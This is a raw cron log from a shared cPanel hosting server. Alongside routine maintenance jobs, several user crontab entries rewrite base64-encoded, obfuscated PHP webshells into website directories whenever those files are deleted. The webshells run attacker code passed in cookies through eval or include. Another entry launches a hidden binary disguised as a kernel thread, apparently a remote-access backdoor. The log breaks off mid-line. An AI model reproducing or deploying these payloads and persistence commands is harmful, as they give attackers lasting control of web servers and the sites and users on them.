Apr 19 07:00:01 medusa CROND[9434]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:00:01 medusa CROND[9435]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9436]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:00:01 medusa CROND[9442]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:00:01 medusa CROND[9444]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:00:01 medusa CROND[9446]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Apr 19 07:00:01 medusa CROND[9447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9439]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:00:01 medusa CROND[9451]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Apr 19 07:00:01 medusa CROND[9452]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9448]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9457]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9440]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:00:01 medusa CROND[9460]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:00:01 medusa CROND[9454]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:00:01 medusa CROND[9450]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9469]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:00:01 medusa CROND[9470]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9471]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 07:00:01 medusa CROND[9473]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 07:00:01 medusa CROND[9479]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:00:01 medusa CROND[9483]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 07:00:01 medusa CROND[9484]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:00:01 medusa CROND[9474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:00:01 medusa CROND[9488]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:00:01 medusa CROND[9485]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:00:01 medusa CROND[9490]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9465]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Apr 19 07:00:01 medusa CROND[9497]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9500]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9493]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 07:00:01 medusa CROND[9492]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Apr 19 07:00:01 medusa CROND[9466]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 07:01:02 medusa CROND[615]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:01:02 medusa CROND[689]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:01:02 medusa CROND[748]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:01:02 medusa CROND[749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:01:02 medusa CROND[750]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:01:02 medusa CROND[752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:01:02 medusa CROND[755]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:01:02 medusa CROND[753]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:01:02 medusa CROND[757]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:01:02 medusa CROND[759]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:01:02 medusa CROND[758]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:01:02 medusa CROND[760]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 07:01:02 medusa CROND[761]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 